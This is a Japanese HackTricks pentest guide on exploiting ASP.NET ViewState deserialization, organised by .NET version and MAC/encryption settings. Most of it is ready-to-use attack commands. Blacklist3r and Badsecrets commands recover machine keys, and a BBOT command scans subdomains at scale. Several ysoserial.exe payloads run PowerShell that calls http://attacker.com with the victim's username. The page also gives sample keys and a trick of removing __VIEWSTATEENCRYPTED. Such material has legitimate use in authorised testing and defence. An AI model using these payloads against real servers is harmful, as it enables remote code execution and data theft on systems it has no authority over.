__VIEWSTATEの秘密を知らずに悪用する
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ViewStateとは
ViewStateは、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
ViewState情報は、以下の特性またはその組み合わせによって特徴付けられます:
- Base64:
EnableViewStateMac
とViewStateEncryptionMode
属性の両方がfalseに設定されている場合に使用される形式です。- Base64 + MAC (メッセージ認証コード) 有効:
- MACの有効化は、
EnableViewStateMac
属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。 - Base64 + 暗号化:
ViewStateEncryptionMode
属性がtrueに設定されている場合に暗号化が適用され、ViewStateデータの機密性が確保されます。
テストケース
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
- 任意の.NETバージョンにおいて、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
- 4.5未満のバージョンでは、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
- 4.5未満のバージョンでは、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
- 4.5以上のバージョンでは、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false
AspNetEnforceViewStateMac
レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState属性の特定
BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。Macがパラメータを保護するために使用されていない場合、YSoSerial.Netを使用してこれを悪用することができます。
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
開発者はViewStateをHTTPリクエストの一部として送信されないように削除することができます(ユーザーはこのクッキーを受け取りません)。
ViewStateが存在しない場合、その実装はViewStateデシリアライズに起因する潜在的な脆弱性から安全であると仮定するかもしれません。
しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、ケース1で示されているようにコード実行を達成することができます。
Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページに対してViewState MACを有効にするためには、特定のaspxファイルに以下の変更を加える必要があります:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
全体のアプリケーションに対しても、以下に示すようにweb.configファイルに設定することで実行できます:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
パラメータはMACで保護されているため、攻撃を成功させるにはまず使用されているキーが必要です。
使用されているキーを見つけるためにBlacklist3r(AspDotNetWrapper.exe) を試すことができます。
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
viewstate と generator を直接提供することができます:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
脆弱な viewstate を大規模に検索するために、サブドメイン列挙と組み合わせて、badsecrets
BBOT モジュールを使用できます:
bbot -f subdomain-enum -m badsecrets -t evil.corp
運が良ければ、キーが見つかり、YSoSerial.Net**:**を使用して攻撃を進めることができます。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
サーバーによって_VIEWSTATEGENERATOR
パラメータが送信されない場合、--generator
パラメータを提供する必要はありませんが、これらのパラメータは必要です:
--apppath="/" --path="/hello.aspx"
テストケース: 3 – .Net < 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です。
この場合、 Blacklist3r モジュールは開発中です...
.NET 4.5以前では、 ASP.NETは**ViewStateEncryptionMode
が_Always_に設定されていても、ユーザーからの暗号化されていない**___VIEWSTATE
_パラメータを受け入れることができます。ASP.NETは**__VIEWSTATEENCRYPTED
パラメータの存在のみを確認します**。このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、YSoSerial.Net コマンドをケース2で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから
__VIEWSTATEENCRYPTED
パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
テストケース: 4 – .Net >= 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。
<httpRuntime targetFramework="4.5" />
代わりに、これはweb.configファイルのmachineKey
パラメータ内に以下のオプションを指定することで行うことができます。
compatibilityMode="Framework45"
前回と同様に、値は暗号化されています。 そのため、有効なペイロードを送信するには攻撃者がキーを必要とします。
Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されているキーを見つけることができます:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
IISDirPathとTargetPagePathの詳細な説明についてはこちらを参照してください
または、Badsecrets(生成者値付き)を使用して:
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
有効なMachine keyが特定されたら、次のステップは YSoSerial.Net を使用してシリアライズされたペイロードを生成することです。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
__VIEWSTATEGENERATOR
の値がある場合、その値を使って--generator
パラメータを使用し、--path
および--apppath
パラメータを省略することができます。
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供されたPoC of Successful Exploitationを確認できます。
Test Case 6 – ViewStateUserKeysが使用されている
ViewStateUserKeyプロパティは、CSRF攻撃に対して防御するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法でViewStateペイロードを生成しようとすると、ペイロードはアプリケーションによって処理されません。
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります:
--viewstateuserkey="randomstringdefinedintheserver"
成功したエクスプロイトの結果
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが成功した場合、サーバーは「500 Internal server error」で応答し、応答内容は「このページの状態情報は無効であり、破損している可能性があります」となり、OOB リクエストを受け取ります。
参考文献
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。